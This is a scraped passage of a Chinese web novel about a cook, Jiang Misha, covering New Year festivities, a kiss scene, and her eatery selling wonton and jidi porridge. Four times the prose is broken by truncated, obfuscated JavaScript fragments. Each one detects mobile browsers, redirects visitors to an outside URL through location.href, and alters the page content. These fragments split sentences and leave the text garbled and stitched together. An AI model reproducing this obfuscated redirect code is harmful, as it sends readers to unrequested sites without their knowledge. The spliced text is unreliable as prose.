l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009230|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江弥杉手里拿着面糊，瞧兰香小心翼翼地抬起红纸，她蘸了稍许黏黏的糊，涂抹在四个角上。 兰香又慢慢放下，顺着福字抚几遍，使福字稳稳贴牢。 ：“好啦！”兰香松了一口气。 贴完院落里的几间房屋，三人接着去为大门帖字。 对贴在大门的，兰香更谨慎，问了几回才肯贴下，对此道：“贴在外，路过的人都能瞧见，自然要贴的更好。” 江弥杉望着勉强写得像样的字：“······” 方万宜被逗笑了：“好，好，如此也算细心。” 做完装饰事情，依旧没得闲暇的时候。 方万宜与兰香忙着磨黄豆，用来做豆腐，江弥杉则研究着奶茶与蛋糕。 厨房是有烤炉的，当初筹办小摊时，江弥杉特意搭了一个，当下正好派上用场。 没有搅打蛋白、奶油的成霜就成了最费力的事，两刻钟后，江弥杉歇歇停停，总算打出满意的细腻、顺滑的辅料，而后，效率就快起来，制作蛋糕糊，送入烤炉烤制成胚。 奶茶做起也并不难，家里的茶品种丰富，江弥杉从中找了一款名叫红梅映雪的红茶，与烹茶相似，不过之后需加入砂糖与牛奶一起熬煮。 兰香提着一桶豆浆走入厨房，刚一踏进，一股浓香的奶味就占据呼吸，：“好香呐，姑娘在做什么？” 江弥杉搅着暖棕色茶汤，转头回：“煮奶茶，再等片刻就好。” 方万宜跟在其后，闻得这道奶香，心想，这些牛乳兴许存不住太久。 奶茶在小火的晃动间香气愈发浓厚，烤炉里，金黄蛋糕胚也鼓鼓膨起，从烤炉取出来时，热意里还携着一股蛋奶的香气。 兰香哇的感叹一声，这样的糕点，她还从未见过呢！ 方万宜取来一罐杨梅果酱，照弥杉所说的，舀了几勺放进那一盆雪白细腻的奶膏里搅拌。 冬日，缺少的不仅是菜蔬，瓜果也同是，因此闲暇时候，她们都会熬制果酱与弥杉口中的水果罐头，储藏起来，预备着过冬。 忙活一阵，奶茶与蛋糕总算做成。 围坐在正屋，奶茶热烟袅袅，尤如披着白雪点紫的外衫一块三角蛋糕，内里是暖眼的金黄，中间还叠着一层晶润的紫红梅子酱。 江弥杉拿起早就定制的铁叉子，沿着外衫轻轻戳入，往外一划，轻松就带出块瞧着就蓬软的蛋糕，：“就是如此，用叉子，一点点划着吃。” 方万宜学着，戳起蛋糕送入口。 酸酸甜甜的果酱融于细腻的奶香之中，丝毫不觉突兀，反倒是令人感到一抹夏日的清新，蓬软的糕体入口也很是细腻与轻软，像是一团云，一团棉花，轻轻落入舌尖，化开一团蛋奶香。 很是美味！难怪弥杉一直念着！！ 兰香则先喝了口热乎乎的奶茶。 浓浓奶香与深厚的茶香交相辉映，随着甜滋滋，涌上舌尖，那一瞬间，舌尖似在温泉中一点，随之一颤，最后浸没与这温暖的奶味茶香中，这股暖流似乎也流遍全身筋脉，用暖洋洋的香浸润的身躯，她感觉，冬日，竟有了一种身心满意地愉悦感。 说不上是什么，只觉得，此刻将一切的疲劳都忘了，甚至想裹进被窝，睡一觉。 一口茶，一口蛋糕，只觉吃一个午后都不会腻。 兰香端着茶杯，期盼地望向江弥杉：“姑娘，之后能否在多做几次？” 34. 新年安乐 江弥杉抿了口热乎乎的奶茶，笑道：“可以，兴许，我们也会售卖蛋糕。” 方万宜微微一笑：“还留着许多呢，保你吃够。” 兰香又望向弥杉，姑娘会舍近求远，大约也是因为姑娘不愿占他人的便宜，姑娘已经有了决定，她当然是支持的！。 就如，宫里送来的物资，是送给姑娘的，若是没有姑娘，什么不会有。 品尝茶点时，时间似乎也流的缓慢，但除夕要备的菜品不可拖延。 吃完下午茶，江弥杉与方万宜各自负责豆腐与卤菜。 前一日买来的猪耳、猪肚、猪脸、猪尾都已经剃毛焯水，无需改刀，待枣红的糖色炒艳，加入八角与草果，都在一锅卤制。 江弥杉翻动猪肉，促进外表均匀裹上糖浆，晶晶亮。 她转头道：“兰香，温热水。” 兰香应了一声诶，提着茶壶走至江弥杉身边，往锅里加水。 水刚没入肉，江弥杉道：“好，够了。” 瞧着江弥杉继续往里添酱油与盐，兰香探头：“还有多久能吃啊？” 江弥杉笑起：“一两个时辰吧，待豆腐做好，还可再卤些豆腐和素菜。” 精心调制的卤汁，浪费就太可惜了！ 彼边，方万宜又挑起一块轻薄的豆皮，叠放至扑着一摞淡黄的盆中。 一小锅豆浆，能够做出几天吃的豆腐，花样还不同。 老人都说逢年胖一圈，从前没有实感，当下是体会到了。 方万宜轻笑调侃：“兰香等不及了。” 兰香转头，正色强调：“我是为了尝味，尝味！” 方万宜笑着点头，盖上木盖，挡住滚滚翻出的白烟。 日渐西沉，软糯糯的辣炒年糕，香辣的酱汁，又有牛乳的中和，也格外可口，各自吃完一碗，收洗干净，又继续忙碌起明日的要吃的饺子。 饺子是香菇猪肉虾仁馅儿，按着传统，包饺子时需放些钱币，图个吉利。 饺皮现做现滚，捏成元宝型，兰香捧起一个刚捏好的胖鼓鼓的饺子，笑着问：“如何，包的不错吧？” 她学的可快了！ 江弥杉捏着饺子，仔细地瞧一眼，夸赞：“是很不错。” 兰香又转至方万宜面前。 方万宜笑道：“不错，很不错。” 兰香才心满意足地将饺子放至一排饺子旁。 窗外，天色转浓，街巷传来砰砰的烟火响声。 江弥杉捏着饺子，悄悄抬眼将身边的笑脸览与眼底，在一阵没来由的幸福感的淹没中，唇角也随之漾起。 ＊ 除夕，江弥杉轻松了不少。 灶上多了周旺与章文安，各自做着拿手好菜。 天色渐暗时，一桌热菜缓缓冒香。 开饭前，章文安在院子里放下爆竹，又叮嘱拿着火折子的江弥杉：“江姑娘，点燃就跑啊。” 江弥杉回了声知晓了，弯腰去点火线，火线刚冒起火烟，她迅速跑开，一阵火药味随烟散开。 廊檐下挂着红灯笼，随风轻晃，灯影左右晃。 江弥杉跑上台阶，站到李定卓身边，捂着耳朵，转头望向旁边不动如山的李定卓，疑问：“你不觉着太响了吗？” 李定卓含笑望着人跑至身边，垂眸，神色不变：“还好。” 他揽上弥杉的肩膀，：“走吧，该用饭了。” 章文安快步走上：“诶，等等我。” 一桌饭菜，鸡鸭鱼肉，美味齐全，酒过三旬，桌上的人却依旧没有停筷的意思。 兰香挑起铺着红椒的鱼肉，送入口。 奔放的香辣热情似火，从舌尖燎烧而起，窜入脑海，花椒的麻味痒酥酥洒上，香嫩的鱼肉各味融合的恰到好处，十分美味。 兰香又忙吃一口饭，缓解辣味点起的火，又去夹：“好辣！” 可就是欲罢不能的想吃一口。 江弥杉拿过酒壶，帮兰香斟一杯米酒，顺带为自己也斟满一杯，又将酒壶递给章文安。 李定卓夹过棕黄的卤猪耳，眼风滑过江弥杉又满了的酒杯，又无事地收回。 趁着年节，又是团圆日，纵情畅饮一回也并非是要不可。 酸酸辣辣的猪耳香脆可口，引得人想又吃口饭。 江弥杉看李定卓吃下一口饭，端起酒杯，侧身，笑眼如弯月，道：“可否饮一杯？” 桌上的人忙着夹菜，见状也只是抿嘴一笑，又见怪不怪地挪开目光。 李定卓端起半杯酒，轻轻与弥杉一碰，随后一饮而尽，目光又落至江弥杉手上的酒杯，见也只是一半，才收回。 年年有余，众人在最后一回举杯，恭祝新年后停筷，菜食并未吃完，又是一阵闲聊后，才收拾残局。 月渐升高，街道已被烟花爆竹身填满。 章文安抱出买来的烟火，在院里点燃，绚丽的烟火咻的一声飞向墨黑的天际，绽放出最绚丽的彩光，兰香与方万宜在一旁放突金星的爆竹，周旺坐在廊檐下淡淡笑着。 江弥杉仰眼欣赏着绚丽的彩空，一对眸子被照的光芒万丈，又望向前方跳动的星星火点，总觉还有一丝不足。 思索片刻，江弥杉转头对上双清澈的墨眸，唇边笑意更深了几分，一瞬间似乎明白缺了什么，她牵上停在身侧的手，却是用最严密的方式，让每一根手指都紧紧交扣，将最后一抹热意，合在彼此的手心。 ：“新年安乐，定卓。” 李定卓诧异地一愣，但对着弥杉的笑眼，眸底也受温热所融化，漾起柔情：“新年安乐，弥杉。” ：“我们也去放爆竹吧。”江弥杉道。 ：“好。” 话音刚落，江弥杉就拉着人跑下台阶。 廊檐下，周旺瞧着那对钻入火花的身影，笑意更深。 * 春节刚过一日，周旺又驾着马车来接人。 兰香瘪瘪嘴，等江弥杉走了，才与方万宜道：“李公子也太着急了些吧，才隔了一日呢。” 方万宜笑着回道，：“这便是一日不见，如隔三秋。” 除夕那夜，李定卓原本都打算直接带走姑娘了，但姑娘不点头，他也无法，只好作罢，等过春节，这会儿才急的接走姑娘。 兰香摇摇头，：“今日吃什么?” 方万宜：“······还未想好。” 夜，转眼而至。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009231|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃过晚饭，屋里却只有章文安与周旺。 彼边，李定卓牵着江弥杉走入居院书房。 书房未盏烛灯，但好在李定卓提着一个灯笼，能够照亮眼前，江弥杉还好奇带她来这儿做什么，来不及问出一个字，就被摁在了门上。 咚地一声，原本握在李定卓手里的灯笼也倒在了一旁。 下意识地闭眼，江弥杉唇边一热，抬手拥住足前坚实的后背，回应着唇间温柔的抚碰。 本是好奇的心，这下全明白了。 兴许是已经忍了许久，在清尚街不好行动，因此急着接她过来······· 温情在唇舌间荡漾，江弥杉感到一丝痒酥酥的麻感从交流着的唇，慢悠悠地染入思绪，正是心神荡漾之时，忽得被抱高，下意识地搂紧面前唯一的支撑。 李定卓没有给弥杉多一个字的问询，单手拖住夹在腰间的腿，仰头继续深深吻入。 不知过了多久，江弥杉即将要无法呼吸时，李定卓又转了阵地，沿着她的下唇轻轻落下，一手破开影响着的毛领，吻上她滚动的喉，随后又落下，探入，隔着一层薄衫，热烫的贴抚在她的后背。 脖颈、后背都被烫着，江弥杉人软了一半，只觉在这样下去，她今天就出不去书房，颤着声叫停：“可以了·····可以了” 后背抚摸着的动作停下，改为贴着，李定卓仰头，对上弥杉垂下的水目，话音低哑，藏不住浮动着欲念：“不喜欢？” 江弥杉点头也不是，摇头也不是，想了片刻，才喘着气回：“还·····还未准备好。” 李定卓低笑一声，将人放下，紧紧搂入怀中，贴在弥杉耳边，轻声道：“我不做其他的。” 湿热又暧昧的气息洒在耳边，背后的烫热还未撤出，江弥杉心跳失序，趴在李定卓肩头，一句话也不说。 而后，她渐渐察觉的到了一丝不对劲。 在她开口之前，李定卓快速拿出手，往后退了一步，背过身去。 江弥杉：“······” 忽得，一股笑意涌上，江弥杉连忙抿住唇，强忍下笑，摸黑找到门口的烛台，寻到一个火折子，点燃蜡烛。 单站着兴许无法，江弥杉握着烛台下的把杆，举着烛台往里去寻茶水。 燃起的火强势又莽撞地在体内窜动，无法强压，若说除夕夜时，只是星星火点，这会儿便是燎原狂浪，软风从身边略过，李定卓也没有跟上前，而是站在原地。 有烛台在，异样更会一览眼底，还是在等等。 沿路的烛台已备点亮，里间，江弥杉已经寻到茶水，倒了盏，茶水是冷的，她先喝了一口，滋润燥热的唇舌，才端着茶原道返回。 李定卓见江弥杉走近，又侧过身，只留个背影。 江弥杉忍着笑，晓得他是不好意思，便留了一线，站在背后递茶上前：“喝口茶，缓缓。” 李定卓接过茶，一饮而尽，凉滋滋的茶浇入体内，作孽的火浪才总算失了压人的气势，又落下。 江弥杉轻声道：“下回，还是别如此急了。” 李定卓握着茶盏，转过头：“·······” 这事，并非他能控制的。 35. 荠菜小馄饨 冬日的脚步沿着滚动的车轴离去，穿行在街道间的人影渐密。 寒假结束时，京城中第一批应季的绿菜、瓜果也随之上市。 临近正午，江记食肆便已坐满，江弥杉又穿梭在各桌斟茶。 几旬未见，卢灿宇消瘦了些，眼下泛着乌青，身上的朝气看上去都消弱了许多。 江弥杉斟好茶，笑着介绍：“今日只买荠菜小馄饨，有十五个、二十个、二十五个之分，公子选几份？” 开业日，江弥杉没有打算推出太多菜品，正好刚到食肆，就有位挑担子卖菜的婶子路过，江弥杉一眼就瞧中了担子里的荠菜。 江弥杉全买了下来，思索过后，决定售卖馄饨，于是又去集市买来梅花肉。 雪停后，江弥杉晒得些干虾米，正好也用上。 卢灿宇思索片刻，：“十五个吧。” 江弥杉觉着诧异，按之前来看，这位卢公子的怎么都会点二十五个，少一点便是二十个，十五个，倒是从来没有过。 江弥杉轻声道：“公子，馄饨并非是大个，而是小馄饨。” 十五个，怕吃不饱。 卢灿宇叹口气，：“无事，就十五个吧。” 近些日子都忙于会试，时间越近，越是慌乱，看过的书，似乎都记不大清，夜里都睡不踏实。 食堂的菜食又太过寡淡，家中送来的吃食虽丰盛，可越是丰盛，越是提不起兴趣。 万幸，江记开业了，到店的食客，不少也都是同窗。 江弥杉答了声好，此时对桌传来讨论。 ：“还有十日，就暂时轻松了。” ：“但愿吧，许多人，会试都考了好几回的。” ：“啊！别说了别说了……” ：“我们去昙华寺拜拜吧。” 江弥杉又望向面色又苦了一层的卢灿宇，大概明白了为什么他只点十五个。 春闱将至，看不见，摸不着的压力就迎面来了。 江弥杉微微一笑，提着茶壶走近厨房。 馄饨都是提前包好的，按份数分三个锅烫煮。 大碗底，码上着浅橘色的干虾米、深绿的紫菜，葱花、酱油、香油、猪肉提味增香。 煮好的馄饨倒入，最后以鲜美的高汤收尾，热气腾腾，鲜香扑鼻。 没过一会儿，几碗馄饨就由兰香端出。 一批做完，又提前准备下一批的汤底。 江弥杉端着馄饨走至三桌，轻轻放上桌，：“公子慢用。” 阵阵鲜香扑入鼻息，眸底是透出饺皮的浓绿与淡粉，在酱棕色的晶汤中飘浮。 卢灿宇抬眸，知晓点菜并不礼貌，试探地问：“江姑娘，能否煮及第粥？” 江弥杉展颜一笑：“自然是能的，过两日来，就可吃到。” 对上含着笑意的双目，鬼使神差地嗯了一声，待声出了，回过神时，整个耳廓都热起来。 江弥杉微微一笑，转身去了柜台。 江弥杉离开后，卢灿宇舀起一个胖鼓的馄入口。 鲜香的汤吸入口中，将海鲜与高汤融合后的鲜美滴入平淡的味蕾，一刹那，舌似乎都活了起来。 饺皮轻薄，但并不软烂，相反而是令人觉得劲道，当清甜的荠菜与鲜香的肉展露在唇舌间时，浓浓春意似乎也随之绽放在口中。 一口一个，小小一个馄饨，嚼在口中，竟会如此美味！！ 欣悦总算染便眉眼，卢灿宇感到眼前一亮，情不自禁地，眼梢就笑起来。 十五个小馄饨，似乎在眨眼间就吃完了，身上暖乎乎的，空空的胃这时也跟着饱满。 卢灿宇又盛汤喝，热乎地鲜汤流入之地，宛若甘霖初降，滋润着干枯的天地。 这几日，他第一回将菜食吃得这般干净，连汤都不剩。 莫非江记真有什么神奇的法术？ 真是太奇妙了！ 吃完午饭，卢灿宇心满意足的离开。 江弥杉思索一会儿及第粥。说是粥，其实更是学子对取得好成绩的美好期望，类似于一个油条，两根鸡蛋。 只卖粥单调了些，配上一两样小菜，或许更好。 粥的名字虽然听过，但地方风俗不同，如何制作，还需得问万宜。 总之，两天后，要端出来，让食客吃得满意，至于考试的事，还是得靠他们自己。 想着，又有食客进店，江弥杉又笑着迎接。 ＊ 入夜，走了一批食客，在厨间忙碌的人也到柜台透气。 夜色沉沉间，方万宜望着街道外，忽皱起了眉。 江弥杉斟着茶，瞧万宜神色不对，顺着望去，就瞧见在门口观望的三个人。 兰香也察觉到，转头问：“怎么了？” 方万宜：“我……出去一会儿。” 说着，方万宜站起身，往店外走。 兰香又望向江弥杉：“姑娘，万宜没事吧。” 江弥杉看方万宜带人离开，摸不准是出了什么事，又不好妄下定论，只是好奇，三人与万宜的关系。 ：“兴许吧。” 店外，方万宜望着面前的三个熟人，奇怪她们怎么不在酒楼，而是找到江记来。 酒楼的厨师，再忌讳，也不会对她们也动手。 朦胧的烛光摇摇晃晃，方万宜蹙着眉，疑问：“你们怎么到这儿来了？” 提着灯笼的一个少女耷拉着眉毛，身旁的两位都抿着唇面露难色。 姜绮握紧木杆，摇头：“师傅，我们待不下了。” 身边的姚青，姚丹点头。 闻言，方万宜瞬间明白了。 ：“他们根本就不教我们，只让我们去干杂活，说我们跟在您身边时，什么也没学到，根本做不来菜。” ：“可是，我们跟着您已经三年了，是能上灶的，这点您也知晓。” 方万宜蹙起的眉，更紧了，袖中的手也气得紧握成拳。 他们就这般瞧不起她，又怕她，连她的徒弟都不肯好好带。 方万宜深吸一口气，压下心中的怒火，又想到江弥杉，斟酌片刻，她道：“我当下是在江记食肆，但你们能否留下，我无法做主。” ：“不过，可以带你们去见掌柜，她即是掌柜，也是食肆的厨娘。” ：“多谢师傅！！”三人齐声道。 又过一会儿，江弥杉喝着茶，瞧见方万宜走进食肆，身后还跟着三个姑娘。 江弥杉大概明白了，站起身，又叫兰香拿三个茶杯来。 方万宜轻叹一声，与弥杉交代了事情：“她们三人，是我曾经收的徒，兴许是我的缘故，备受排挤，实在无法，又找到了我。” ：“做事麻利勤快，都已能上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009232|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶烹调，只是缺一个机会。” 兰香端着茶杯出来，目光落在三个穿卓简朴的姑娘上。 看了看三人的五官，又望向方万宜，年纪看上去要小几岁，五官虽不相似，但也并不一定不是亲人。 兰香问：“是你的妹妹？” 方万宜被逗笑了：“是我的徒弟。” ：“啊？” 江弥杉展颜一笑：“先坐下吧，可吃过饭了？” 食肆扩张需要人，加盖一层，厨间也要扩大，到时候，若是只有她和万宜，太紧促了。 姜绮与两位姐妹摇头，午间怕影响食肆待客，因而才决定晚上来，又怕耽误时间，因而并未吃晚饭。 见掌柜和善，顿时送了一口气，贴着坐在路边的木凳上。 方万宜：“姑娘，我去煮吧。” 江弥杉点头，兰香提着茶壶为三位姑娘斟茶。 ：“多谢。” 方万宜离开，江弥杉才问：“你们从事烹调，有多长时间了？” 姜绮回：“我们三人，都在一个人家的厨房做丫鬟八年，赎身后，又进酒楼做学徒，跟着方师傅四年。” ：“师傅离开后，在厨间打杂了一年。”说到此处，三人都垂下了脑袋。 江弥杉算完，满意地笑起，她缺得正是能够快速上手的人选！！ 楼馆改扩建是需要承报给官府的，先前还想着承报后在招人，当下提前招到了人，她写改建的申请交至官府，改扩建三个月，秋季完成最好，能够重新提供流水。 江弥杉：“嗯，不过，当下后厨人员已充足，你们可愿再打杂一阵？” ：“比如切菜、腌制、揉面、送菜这些活计？” 三人抬头，这算什么打杂啊！ 只要不是只让她打扫卫生，洗菜就好！ ：“愿意的，愿意的！！”三人齐声回道。 江弥杉：“还有，不提供住宿。” 食肆的小院要划入规划，扩大改建，清尚街的宅院也没有多余的屋子。 姜绮：“我们三人组了个小宅子，因此不明住宿也无事。” ：“至于其他的，待后日，我会写一张契文，上面会写。” 兰香哈哈笑了两声：“你们都叫什么名字，多大了？” 逐一认识过，三人不过也是二十左右的年纪。 兰香介绍道：“这是我们姑娘，名叫江弥杉，我是兰香。” 此时，方万宜端着三碗馄饨走来，三人起来帮忙。 又有客来，江弥杉与兰香又起身去厨房。 方万宜轻声道：“吃完就先回去吧。”说完便去招待刚落座的食客。 鲜香又清新，鲜而不腻，香却不夺味，就连饺皮的厚度都恰到好处，里面的馅料香中带着荠菜的甜意，二者在适当的调味下，并不突兀，十分香嫩。 好吃，甚是好吃！！ 这手艺，若是去做大菜，想必都要比酒楼的大师傅高出许多！ 竟只经营着五套餐桌的小食肆！ 若是师傅做的，那她的厨艺是更上一层楼了！ 三人对看一眼，又连着盛馄饨入口。 好香，好吃，眨眼间的功夫，适才还满满一碗的馄饨这会儿已经只剩汤了。 可汤也甚是美味，一滴都不想浪费！ 酒楼，去他的酒楼！！ 36. 及第粥 对及第粥，江弥杉不多的印象停留在旅游时吃过的几种，大多时经过后世改良的。 当朝的及第粥，如何烹调，江弥杉询问了方万宜。 春闱时，诸多酒楼都会推出及第粥，方万宜听了询问，第二日便采买了猪肝、猪肉与粉肠等食材回来。 洗净内脏，切成粗细均匀的细丝与姜葱丝炖煮，而后放入米拌匀熬住。 做法不难，江弥杉看了一回便清楚了，粥中还需要油条，她瞬间联想到一根油条两个鸡蛋。 轻车熟路地炸出金灿灿的油条，又添炸虾仁鸡蛋饼。 兰香望一眼做好粥，又望向弥杉与万宜，说出了疑问：“吃了粥，真能高中？” 听起来怪悬乎的！ 江弥杉盛粥入口，带着调侃的解释：“及第粥，及第粥，你看，既然有及第二字，那么兴许的确有用，只是作用的人并不多，大多都是勤学之人。” 兰香转着眼珠思索：“那与粥也关系不大吧。” 方万宜：“学子觉得有用，那便有用。” 江弥杉点头附和。 及第粥推出的第一日，到店的学子都点了一份。 卢灿宇垂眸望着浓稠的香粥、金灿灿的鸡蛋饼，嫩绿的荠菜间点缀着彤红的米椒与黄白的芝麻。 简单的一套粥食，并未像其他酒楼或食肆那般，一碗及第粥，配上蟾中折桂糕、金榜题名翅，事事吉祥鸡种种花样，如此一对比，的确很简朴。 江弥杉笑眼盈盈：“公子的及第粥。” 卢灿宇抬眼，感慨：“这是我吃过，最简单的及第粥。” 江弥杉：“……” 看江弥杉唇角笑意一僵，卢灿宇连忙告罪：“再下失言了，简单也有简单的长处，未有多余的捆绑，简简单单吃一碗粥也极好。” 闻言，江弥杉轻笑，：“公子说的是缺了些吉祥菜吧？” ：“对江记而言，太繁复了，于是便舍弃了。” 端粥路过的兰香抿嘴去上菜。 其实并非是繁复，而是姑娘说，应试的学子并非都是富家子弟，有吉祥菜，虽可卖出高价，但既是学子们的期望，何必一定就要卖高价。 于是，今日的食客中就多了一些装扮扑素的学子。 菜品虽只有一荤一素，但他们都吃得很满意。 卢灿宇笑着点头，：“其实如此也极好，先生叮嘱，考前最佳还是吃些清淡的。” 以防肠胃不适。 ：“公子慢用。” 说完，江弥杉又走进厨房取菜。 卢灿宇盛粥入口，稠软的粥如一团暖雪，淌上舌尖，携着鲜香，感染着舌。 粥的口感既不太稀，也未太稠，既熬出了米香，又吸收且融合了食材的醇香，且混在粥中的肉丝毫不绝柴老，份量也大，要比曾经吃过的都好！ 怎么普通的粥，都能做得如此美味啊！！ 真不愧是江记！ 吃了几勺粥，卢灿宇轻轻拆开一块鸡蛋饼，咸香的蛋白含着隐约鲜味，也很美味。 而酸酸辣辣的拌荠菜，又十分清新开胃，与粥很是相搭。 这不知不觉间，一碗粥就见了底。 彼边，江弥杉刚端上一份粥。 李昭垂眸望着那碟青绿的荠菜，语气悠悠：“是荠菜啊。” 坐在旁边的同窗抬头，与江弥杉道：“他是想家了。” 李昭唇角微微一笑，抬眼陪不是：“失态了。” 江弥杉笑着摇头，又问：“公子来自何处？” 李昭一愣，答：“潭州” ：“此处盛产荠菜？” ：“并非如此，是我娘亲常做荠菜凉面，看到拌芥菜，一时想了起来。” 其中一人似想起什么，：“啊！考完是十九吧，李兄的生辰呀！” 江弥杉眸底浮起层暖笑，她点两下头，情不自禁地琢磨起荠菜凉面，：”公子们慢用。” 与其瞎想，不如待会结账的时候细问，毕竟是生辰，又远在他乡，还是让他在生辰也开心一点吧！ * 西沉的日划落金空，暗色又将街道渲染，江弥杉守在柜台，瞧见两张雌雄可辨的面容走近，她端着茶水，迎上招呼。 玉欣怡今日依旧扮成男装，藤萝也是小厮打扮，当下只空着左右来两桌，两人在右边的一桌坐下。 见弥杉走来，玉欣怡眯眼笑问：“江姑娘，今日有什么菜？” 江弥杉笑回：“有成套卖的及第粥，除了粥，配着虾仁蛋饼、凉拌荠菜。” 玉欣怡失落地啊了一声，：“那····那来两套吧。” 她偷偷溜出来，竟然只有粥，哎，粥就粥吧，反正近日去郡王府的花宴，油荤吃得也够多了······· 藤萝心内失落地轻叹一声，她是冒着被管嬷嬷责备的风险陪姑娘出来的！！ 江弥杉轻笑一声去取粥。 厨间，方万宜与兰香正谈论买面具的事，见江弥杉进来，兰香先道：“姑娘，二十五有灯会，到时赏灯的人都会带着面具，打样后，我们也去买一个吧！” 方万宜清清嗓子，提醒的话憋回去，对兰香无奈地一笑。 灯会在即，李公子必会与姑娘一齐去买面具，到那日，弥杉必然也会被李定卓接走去逛街的，即便姑娘不去，她也不想夹在两人之间，那感觉必然很是窘迫。 方万宜一笑，兰香反应过来，口唇慢慢收合，抿起来。 她怎么忘了李公子的事了！ 江弥杉先报点单，对灯会这样的热闹的事情本就感兴趣，又是带面具的灯会，她更是期待，也没多想，便答应了。 大堂不能无人，兰香暗暗懊恼多嘴，便又走出去，招待食客。 玉欣怡蘸了下，桌上的茶水，伸着食指勾画马，待画完整，抬眼一瞄，就见江弥杉与另一位姑娘端粥走来。 她停下勾画，看着江弥杉端来的简单粥食，虽然简单，但看上去，倒是有几分诱人的，金黄的蛋饼、雪白的香粥，绿油油的青菜，虽然不比家中那般一品粥配五六样小菜，但粥与蛋饼闻着就很香呐！ ：“多谢。” ：“不客气。” 藤萝只觉很饿，这粥食再简单不过了，怎么闻起来会这般的香，香的她想立刻就大吃一口。 送完菜，堂内也只剩下一桌，兰香与方万宜便去边上坐着休息。 江弥杉又往店外瞧了几眼，天色渐暗，时辰兴许也不早了，今夜李定卓应该是不来了。 她刚收回视线一下，就见一位华服的俊逸公子走进，随后，右边的藤萝望着门口，盛粥的动作一滞，又眨两下眼睛，坐在对面的玉欣怡觉着奇怪，转头看去。 ：“你······你怎么来了？”她瞪着圆目，脱口而出。 一句话，将堂内众人的视线都吸引过来，江弥杉目光在两人之间晃悠。 赵穆未回答，而是先抱拳见礼。 看样子是熟人，江弥杉探究着，蓝白袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009233|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服的公子就坐至玉欣怡身后的那桌。 赵穆在靠门口的长椅坐下，望着转身看来的玉欣怡，目光将人通身打量一道，明白她不过是找借口推辞，也猜到她为何不愿赴宴的缘由，压下冒起的隐隐不悦，袍上的手却握紧。 ：“不是推辞，身体不适吗？”说话的语气却不带一丝怒气，十分平和，眉眼间也是流露出平和之意。 玉欣怡求助地递了个眼神给江弥杉，面色不变的回道：“正是呢，所以吃的是清粥小菜。” 江弥杉感受到眼神中的迫切，虽不知道是什么情况，但还是送上茶水，：“公子喝茶。” 总之，情况大约对身体不适的玉姑娘不利，江弥杉说完就轻轻嗓子，目光垂落。 玉欣怡立刻轻咳几声，：“这里的粥食不错，你也尝尝，江姑娘，再上一套及第粥。”说完就抿嘴转身，对着藤萝使眼色。 藤萝这回更头疼了，管嬷嬷已是难应付，怎么又遇上世子了！！ 但，没有不为姑娘说话的道理：“姑娘今日的确有些咳嗽，十分没有胃口，才想着到江记吃些粥食的。” 兰香与方万宜果断起身，退出是非之地。 听完毫无信服力的解释，赵穆端茶浅抿一口，知晓再去追究是否如实，已无意义，玉欣怡本就随性，不喜的事，就是不喜，连掩饰都不会有。 若非是今夜随父王至玉府，久不见人，先时听闻她身体不适，卧病在床，还担心，但离开时，瞧见两道人影从角门出来，在到现在见到人安然无恙，他也不会相信，玉欣怡在编谎话。 玉欣怡暗暗长叹，顿觉头涨，捏着勺，久久盛不起粥。 怎会如此！怎会如此！！赵穆怎会晓得她在江记，是管嬷嬷透露的？ 那今夜回去，岂不是完了！ 藤萝牙齿都在抖，管嬷嬷固然可怕，可若是夫人晓得姑娘偷跑出来被世子撞上了，夫人纵使有心包庇，但也不得不罚啊！ 玉欣怡终是忍不住，又转过身，问：“世子怎么晓得我在此处？” 赵穆抬起黑沉沉的眸子：“在下见姑娘出门了。” 玉欣怡顿失送了口气，压在心头的大石头也跟着掉下，心内连说两声还好，还好。 ：“那你跟着我来做什么？”玉欣怡问。 赵穆淡淡一笑，只是笑意未及眼底：“散心不可吗？” 玉欣怡不知赵穆作何这般生气，只好回：“······可。” 这时，江弥杉端着粥食走出，见玉欣怡转身对着男子，压着好奇心，照常地端上桌：“公子慢用。” 玉欣怡扬起嘴角：“这粥很是美味，世，你尝尝。” 说完，玉欣怡转过身，又正好对上江弥杉探究的目光，唇明显的透露着几个字：“之后与你说。” 江弥杉快速地挑起眉，微笑回应，又在眨眼间恢复寻常。 又过一刻，前后两桌才吃完，结账时，玉欣怡结了三份粥食的钱。 赵穆未提前走，而是在店外等候，预备送欣怡回去。 